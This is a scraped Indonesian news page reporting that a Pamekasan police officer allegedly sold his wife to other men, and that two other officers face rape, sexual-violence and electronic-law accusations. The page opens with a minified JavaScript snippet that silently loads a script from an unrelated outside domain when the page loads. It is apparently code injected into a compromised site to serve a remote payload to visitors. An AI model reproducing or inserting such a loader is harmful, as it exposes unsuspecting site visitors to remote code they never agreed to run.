(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM – Seorang oknum anggota kepolisian di Pamekasan, Madura, diduga telah menjual istri sendiri untuk melayani lelaki hidung belang. Kasus ini pun telah ditangani Polda Jatim.
Kabid Humas Polda Jawa Timur, Kombes Pol Dirmanto mengatakan, oknum polisi itu berinisial AD dari Unit Sabhara Polres Pamekasan.
Saat ini oknum polisi itu sudah diamankan Tim Bidpropam Polda Jatim setelah diduga menjual istri sendiri inisial MH. Dia juga diduga melakukan pelanggaran ITE hingga mengkonsumsi narkotika.
“Iya, yang bersangkutan diamankan di Polda Jatim dalam rangka pemeriksaan di Propam,” ujar Dirmanto dikutip dari beritajatim.com -jejaring Suara.com-.Sabtu (7/1/2023).
Baca juga : Dinas PUPR Kalsel Gelar Penandatanganan Maklumat Pelayanan, Pakta Integritas dan Perjanjian Kinerja 2023
Berdasarkan informasi yang didapat, selain AD yang berpangkat Aipda, ada dua anggota lain yang turut diamankan. Tetapi saat informasi ini dikonfirmasikan, Dirmanto enggan memberikan penjelasan.
“Belum ada update. Kalau sudah kami sampaikan. Sementara cukup itu dulu,” jelasnya.
Terkuaknya kasus ini berawal dari laporan MH yang mengadukan suaminya sendiri, Aipda AD, lantaran telah tega menjualnya ke lelaki lain.
Dalam laporan itu, dia juga mengadukan dua anggota Polres Pamekasan, Iptu MHD dan AKP H yang dinas di Polres Bangkalan.
Baca juga : Sisakan Puing Bongkaran Warung Jablai, Disperkim Minta Pemilik LIK Menjaga Lahannya
MH mengadukan ketiga polisi itu dengan tuduhan bersengkongkol, bersama-sama melakukan kriminal, namun dalam tindak pidana yang berbeda-beda.
Aipda AD disebut dilaporkan dalam tindak pidana kekerasan seksual, pelanggaran ITE sekaligus narkotika.
Sementara AKP H, dilaporkan dalam tindak pidana ITE dan kekerasan seksual. Kemudian Iptu MHD dalam perkara pemerkosaan.
Seorang sumber menyebut, Aipda AD, suami MH itu dilaporkan atas dugaan menjual sang istri, juga mengajak orang lain untuk menggauli istrinya.
“Kalau yang H dilaporkan dalam perkara ITE. Dia mengirimkan gambar alat vitalnya kepada AD agar ditunjukkan ke istrinya (MH) dengan maksud bahwa H ingin menyetubuhi MH,” katanya.
“Kalau MHD dilaporkan dalam perkara pemerkosaan, karena ikut menggauli paksa MH yang bukan istrinya sendiri,” tambah sumber tersebut. (Suara.com)
Editor : kk
KANALKALIMANTAN.COM, BANJARBARU - Forum Ambin Demokrasi turut menyikapi jalannya proses demokrasi dalam Pemilihan Wali Kota… Read More
KANALKALIMANTAN.COM, BANJARBARU - Kota Banjarbaru mulai masuk masa tenang jelang Pemilihan Kepala Daerah (Pilkada) Serentak… Read More
Coblos Paslon yang Dibatalkan Suara Dianggap Tidak Sah Read More
KANALKALIMANTAN.COM, BANJARBARU - Penjabat Sementara (Pjs) Wali Kota Banjarbaru Dra Hj Nurliani MAP telah bertugas… Read More
KANALKALIMANTAN.COM, AMUNTAI - Menjelang hari pemilihan dan memasuki masa tenang Pemilihan Kepala Daerah (Pilkada) 2024,… Read More
KANALKALIMANTAN.COM, AMUNTAI - Komisi Pemilihan Umum (KPU) Kabupaten Hulu Sungai Utara (HSU) mulai mendistribusikan logistik… Read More
This website uses cookies.